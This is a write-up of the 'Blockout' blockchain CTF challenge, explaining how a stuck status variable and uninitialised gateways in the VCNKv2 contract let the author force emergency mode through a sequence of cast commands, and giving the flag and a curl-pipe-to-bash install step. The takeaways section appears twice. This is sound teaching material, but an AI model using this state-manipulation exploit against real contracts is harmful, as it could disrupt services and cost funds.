Cracking "Blockout": A Tale of Gaslighting Gateways in a Blockchain CTF

Capture The Flag (CTF) competitions are a fantastic way to test and hone cybersecurity skills. Recently, in the HTB's Global Cyber Skills Benchmark 2025, the "Blockout" challenge stood out as one of the trickier blockchain puzzles. Many participants found themselves scratching their heads, with 12 pwns in 3.5 days. With a bit of perseverance (and a few strategically placed cast commands), we managed to be the first ones to plunge Volnaya's VCNKv2 power grid into darkness 12 hours in. This write-up details the journey, the vulnerabilities, and the exploit that led to capturing the flag: HTB{g4sL1ght1nG_th3_VCNK_its_GreatBl@ck0Ut_4ll_ov3r_ag4iN}.

An image to describe post

Prerequisites: Setting up Your Toolkit

Before diving into the challenge, you'll need a couple of essential tools:

  •   Foundry: A blazing fast, portable, and modular toolkit for Ethereum application development. We'll primarily use cast from the Foundry suite to interact with the smart contracts.

  •   nc (netcat): A versatile networking utility used here to communicate with the challenge server for obtaining details and submitting the flag.

Installing Foundry (on Linux)

If you don't have Foundry installed, you can get it by running:


curl -L https://foundry.paradigm.xyz | bash
# The pipe (|) bash will take your curl output
# and send it as an input for the next command

Then, in a new terminal session, run foundryup to install the latest version:


foundryup

This will make cast, forge, and other Foundry tools available in your path.

Initial Reconnaissance: Connecting and Gathering Intel

The first step in any CTF is to understand the playground. The "Blockout" challenge provides a netcat interface that dispenses crucial information.

Connect to the server (e.g., 94.237.123.80:32139 in our case) and select option 1:


echo 1 | nc 94.237.123.80 32139


Your designated RPC an Player private key are:

RPC: http://94.237.123.80:42403

PrivateKey: 0xdedd2aa848b2344cc4f6d8c46dbfdb3a92146863574cadc0ea913422e23c5738



Your Player address is: 0xEdC1bBEa176cd432945180425795154b0Bba982F

The target contract VCNKv2 is deployed at: 0x64934dd027bDEA963fA623C28C476848CC55e468

The Setup contract is deployed at: 0x37F67BBEe5F98f3bf60D759D7185b6a87efA2f05

Make a note of these essential details:

  •   Player Private Key: 0xdedd2aa848b2344cc4f6d8c46dbfdb3a92146863574cadc0ea913422e23c5738 (This is your identity on the blockchain)

  •   RPC URL: http://94.237.123.80:42403 (Your connection point to the Ethereum node)

  •   Target Contract (VCNKv2): 0x64934dd027bDEA963fA623C28C476848CC55e468 (The main contract we need to exploit)

  •   Setup Contract: 0x37F67BBEe5F98f3bf60D759D7185b6a87efA2f05 (Used to check if the challenge is solved)

For the rest of this write-up, we'll use these values. Remember to replace them if you get different ones.

First Look: Understanding the Grid and the Goal

The challenge dropped us into a Foundry-based project. Our mission, as laid out in the Setup.sol contract, was clear: we needed to set the controlUnit.status within the VCNKv2 target contract to CU_STATUS_EMERGENCY (which has a value of 3). In simpler terms, trip the main breaker.


// Excerpt from Setup.sol

function isSolved() public view returns (bool) {

uint8 CU_STATUS_EMERGENCY = 3; // Our target status

(uint8 status, , , , ) = TARGET.controlUnit(); // TARGET is the VCNKv2 contract

return status == CU_STATUS_EMERGENCY;

}

The VCNKv2.sol contract represented the power grid's control system. It had a controlUnit struct managing things like current capacity, the number of active power gateways, and their health. Emergency mode, we discovered, could be triggered in two ways, defined by the failSafeMonitor modifier:

  1.  If controlUnit.currentCapacity dropped below FAILSAFE_THRESHOLD (10 ether).

  2.  If controlUnit.healthyGatewaysPercentage fell below 50%.


// Excerpt from VCNKv2.sol - The critical modifier

modifier failSafeMonitor() {

if (controlUnit.currentCapacity <= FAILSAFE_THRESHOLD) {

controlUnit.status = CU_STATUS_EMERGENCY;

emit ControlUnitEmergencyModeActivated();

}

else if (controlUnit.healthyGatewaysPercentage < 50) { // This became our focus

controlUnit.status = CU_STATUS_EMERGENCY;

emit ControlUnitEmergencyModeActivated();

}

else {

_; // Continue normal operation

}

}

Initial thoughts gravitated towards draining the currentCapacity. However, the system was designed to reset capacity after power delivery, making this a non-trivial path. The second condition, related to gateway health, seemed more promising.

The "I understand it now" Moments: Uncovering the Vulnerabilities

The path to victory involved exploiting a couple of subtle but critical flaws:

1. The Sticky Status Bug:

The requestPowerDelivery function was central to the grid's operation. It would set controlUnit.status = CU_STATUS_DELIVERING (status 2) at the beginning of its execution. However, it had a crucial omission:


// Simplified excerpt from VCNKv2.sol - requestPowerDelivery

function requestPowerDelivery(uint256 _amount, uint8 _gatewayID) external /* ...modifiers... */ {

// ...

controlUnit.status = CU_STATUS_DELIVERING; // Status set to 2

controlUnit.currentCapacity -= _amount;

// ... power delivery logic ...

controlUnit.currentCapacity = MAX_CAPACITY; // Capacity reset

// BUG: controlUnit.status IS NEVER RESET TO IDLE!

}

The status was never reset back to CU_STATUS_IDLE (status 1)! This meant that after the first successful power delivery, the controlUnit would be permanently stuck in the CU_STATUS_DELIVERING state. This was key because other functions, including subsequent power deliveries, required an IDLE state.

2. The Unhealthy Newcomers (Gateway Health Checks):

Gateways, the conduits of power, had a healthcheck() function. The catch was how this interacted with newly registered gateways:


// Excerpt from VCNKv2.sol - Gateway's healthcheck

function healthcheck() external view onlyProxy returns (bool) {

return (

_kernel() != address(0) && // This is the important part

energyVault <= MAX_VAULT_CAPACITY

);

}

A newly registered gateway, it turned out, wouldn't have its _kernel() address initialized immediately. This meant any new gateway would initially fail its health check if infrastructureSanityCheck() (which iterates through gateways and updates their health status) was called.

This pair of vulnerabilities formed the backbone of our exploit. We could lock the system's main status and then manipulate the percentage of "healthy" gateways.

The Attack Strategy: Diluting Health

Our plan was as follows:

  1.  Prepare for Power Delivery: Increase the quota for the initial, healthy gateways (ID 0 and 1). This is a prerequisite for requestPowerDelivery.

  2.  Trigger the Status Bug: Make one requestPowerDelivery call. This would deliver power but, more importantly, lock controlUnit.status to CU_STATUS_DELIVERING.

  3.  Register "Unhealthy" Gateways: Repeatedly call registerGateway(). Each new gateway costs 20 ether. These new gateways, due to the _kernel() issue, would be unhealthy once checked.

  4.  Update Health Status: Call infrastructureSanityCheck(). This function iterates through all gateways, runs their respective healthcheck(), and updates their status (and the overall healthyGatewaysPercentage).

  5.  Tip the Scales: Register one final gateway. The registerGateway() function itself is protected by the failSafeMonitor. If, at the point of this call, the healthyGatewaysPercentage has dropped below 50% due to the influx of unhealthy new gateways, the monitor will trigger the emergency mode!

Initially, there are 2 gateways (ID 0 and 1), both healthy (100%).

  •   After triggering the status bug and registering gateway 2 (total 3 gateways): infrastructureSanityCheck() leads to 2/3 healthy = 66%.

  •   Register gateway 3 (total 4 gateways): infrastructureSanityCheck() leads to 2/4 healthy = 50%.

  •   Register gateway 4 (total 5 gateways): infrastructureSanityCheck() leads to 2/5 healthy = 40%.  <-- We are below the 50% threshold!

The next call to a function with failSafeMonitor (like registerGateway() again) should trigger the emergency.

Step-by-Step Exploitation with cast

Let's define our shell variables first, using the details we obtained:


export PLAYER_PRIVATE_KEY="0xdedd2aa848b2344cc4f6d8c46dbfdb3a92146863574cadc0ea913422e23c5738"

export RPC_URL="http://94.237.123.80:42403"

export TARGET_CONTRACT="0x64934dd027bDEA963fA623C28C476848CC55e468"

export SETUP_CONTRACT="0x37F67BBEe5F98f3bf60D759D7185b6a87efA2f05"

Step 1: Increase Quota for Initial Gateways

We need to allow gateways 0 and 1 to deliver power.


# Add 4 ether quota to Gateway 0

cast send $TARGET_CONTRACT "requestQuotaIncrease(uint8)" 0 \

--value 4ether \

--private-key $PLAYER_PRIVATE_KEY \

--rpc-url $RPC_URL



# Add 4 ether quota to Gateway 1

cast send $TARGET_CONTRACT "requestQuotaIncrease(uint8)" 1 \

--value 4ether \

--private-key $PLAYER_PRIVATE_KEY \

--rpc-url $RPC_URL

Step 2: Trigger the Status Bug via Power Delivery

Deliver 1 ether of power through gateway 0. This sets controlUnit.status to DELIVERING (2) and it will stay that way.


cast send $TARGET_CONTRACT "requestPowerDelivery(uint256,uint8)" 1000000000000000000 0 \

--private-key $PLAYER_PRIVATE_KEY \

--rpc-url $RPC_URL

At this point, controlUnit.status is 2. We can verify this (optional):


cast call $TARGET_CONTRACT "controlUnit()(uint8,uint256,uint256,uint8,uint8)" --rpc-url $RPC_URL

# Look for the first return value (status)

Step 3: Register New (Unhealthy) Gateways and Update Health

We'll register three new gateways (IDs 2, 3, and 4). Each costs 20 ether. After each registration, we call infrastructureSanityCheck() to update the health percentages.


# Register Gateway 2

cast send $TARGET_CONTRACT "registerGateway()" \

--value 20ether \

--private-key $PLAYER_PRIVATE_KEY \

--rpc-url $RPC_URL

cast send $TARGET_CONTRACT "infrastructureSanityCheck()" \

--private-key $PLAYER_PRIVATE_KEY \

--rpc-url $RPC_URL

# At this point, 2/3 gateways are healthy (66%)



# Register Gateway 3

cast send $TARGET_CONTRACT "registerGateway()" \

--value 20ether \

--private-key $PLAYER_PRIVATE_KEY \

--rpc-url $RPC_URL

cast send $TARGET_CONTRACT "infrastructureSanityCheck()" \

--private-key $PLAYER_PRIVATE_KEY \

--rpc-url $RPC_URL

# At this point, 2/4 gateways are healthy (50%)



# Register Gateway 4

cast send $TARGET_CONTRACT "registerGateway()" \

--value 20ether \

--private-key $PLAYER_PRIVATE_KEY \

--rpc-url $RPC_URL

cast send $TARGET_CONTRACT "infrastructureSanityCheck()" \

--private-key $PLAYER_PRIVATE_KEY \

--rpc-url $RPC_URL

# At this point, 2/5 gateways are healthy (40%)

We now have 5 gateways in total. The first two (0 and 1) are healthy, and gateways 2, 3, and 4 have failed their health checks. The healthyGatewaysPercentage is 40%.

Step 4: The Final Push - Trigger Emergency Mode

Now, we register one more gateway. The registerGateway() function has the failSafeMonitor. Since our healthyGatewaysPercentage (40%) is now less than 50%, this call will trigger the emergency mode.


cast send $TARGET_CONTRACT "registerGateway()" \

--value 20ether \

--private-key $PLAYER_PRIVATE_KEY \

--rpc-url $RPC_URL

If you inspect the transaction logs for this call (e.g., by looking it up on a block explorer if available, or by checking for events if Foundry tools allow), you'd see the ControlUnitEmergencyModeActivated event. More importantly, controlUnit.status is now 3 (CU_STATUS_EMERGENCY).

We can confirm the status:


cast call $TARGET_CONTRACT "controlUnit()(uint8,uint256,uint256,uint8,uint8)" --rpc-url $RPC_URL

# The first returned value should now be 3

Verification and Flag Retrieval

First, let's confirm with the Setup contract:


cast call $SETUP_CONTRACT "isSolved()" --rpc-url $RPC_URL

# This returns:

`0x0000000000000000000000000000000000000000000000000000000000000001`

# Which means `true`!

Now, to get the flag, we connect back to the challenge server using nc and select option 3:


echo 3 | nc 94.237.123.80 32139

And out pops the flag: HTB{g4sL1ght1nG_th3_VCNK_its_GreatBl@ck0Ut_4ll_ov3r_ag4iN}

Key Takeaways from "Blockout"

This challenge was a masterclass in subtle smart contract vulnerabilities:

  1.  State Management is Crucial: Forgetting to reset a state variable (controlUnit.status) can have cascading consequences, fundamentally altering how a contract behaves.

  2.  Initialization Matters: The way new gateways were initialized (or rather, not fully initialized before being available for health checks) was a key enabler. Proxies or complex contract interactions need careful handling of their initial state.

  3.  Modifiers Timing and Impact: Understanding when a modifier like failSafeMonitor executes its checks (before the main function body) is vital. The exploit relied on setting up a vulnerable state before calling a function that would then trigger the emergency condition via its modifier.

  4.  Read the Whole Contract: Sometimes vulnerabilities aren't in one glaring line but in the interaction between multiple functions and state variables.

"Blockout" wasn't about finding an overflow or a reentrancy bug, but about understanding the logic flow and finding ways to manipulate the contract's state to an unintended (but desirable for us) outcome. It truly felt like we were "gaslighting" the VCNK system by convincing it that most of its gateways were down!

An image to describe post

Key Takeaways from "Blockout"

This challenge was a masterclass in subtle smart contract vulnerabilities:

  1.  State Management is Crucial: Forgetting to reset a state variable (controlUnit.status) can have cascading consequences, fundamentally altering how a contract behaves.

  2.  Initialization Matters: The way new gateways were initialized (or rather, not fully initialized before being available for health checks) was a key enabler. Proxies or complex contract interactions need careful handling of their initial state.

  3.  Modifiers Timing and Impact: Understanding when a modifier like failSafeMonitor executes its checks (before the main function body) is vital. The exploit relied on setting up a vulnerable state before calling a function that would then trigger the emergency condition via its modifier.

  4.  Read the Whole Contract: Sometimes vulnerabilities aren't in one glaring line but in the interaction between multiple functions and state variables.